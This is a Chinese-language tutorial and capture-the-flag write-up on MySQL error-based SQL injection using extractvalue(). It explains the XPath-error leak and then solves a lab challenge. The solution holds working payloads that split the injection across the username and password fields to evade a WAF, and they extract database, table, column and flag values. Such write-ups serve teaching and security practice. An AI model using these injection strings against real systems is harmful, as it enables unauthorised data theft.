0x01 初识extractvalue()

简单地讲,extractvalue()是对XML文档进行查询的函数

语法: extractvalue(xml文档名,Xpath) Xpath:一种用于查找XML文档中的信息的语言。

0x02 extractvalue报错注入原理?

疑惑一: 为什么extractvalue函数可以用来进行报错注入,即extractvalue报错注入的原理是什么?

解疑 :函数的第二个参数是关键,我们也是通过控制第二个参数进行报错注入,xml文档中查找字符位置时,应为/xxx/xxx/xxx这种格式,当第二个参数格式不正确时,就会产生Xpath语法错误,并返回我们输入的错误语句的内容。

因此,当我们在第二个参数的位置上输入我们想要查询的信息,并且让其产生语法错误,即可通过函数的报错得到我们所需要的信息,如:

[例] select password from users where id=1 and (extractvalue(‘1’,concat(0x5c,select database())))

上述语句即可报错返回当前所在数据库名。

0x03 实战–实验吧 加了料的报错注入

题目直接给出了执行sql查询时的语句:

 $sql="select * from users where username='$username' and password='$password'"

尝试了几个常见的注入手段,发现均被waf检测到,于是就开始尝试extractvalue报错注入。

但是这里需要用户输入两个值,usernamepassword,从语句中看到,我们不能够将后半段直接全部注释,这样会使得无法提交password值,这里就用到了注释符/**/,可以注释中间内容,所以可以先构造:

username='or extractvalue /*&password='*/(1,concat(0x5c,(select database())))or'

回显:XPATH syntax error: ‘\error_based_hpf’

于是我们就得到了当前数据库名: error_based_hpf

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(table_name)from information_schema.tables where table_schema regexp database())))or'

回显:XPATH syntax error: ‘\ffll44jj,users’

得到表名:ffll44jj,users

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj')))or'

回显:XPATH syntax error: ‘\value’

得到字段名:value,继续:

username='or extractvalue /*&password=*/(1,concat(0x5c,(select group_concat(value) from ffll44jj)))or'

回显:XPATH syntax error: ‘\flag{err0r_b4sedsqli+_hpf}’

拿到flag。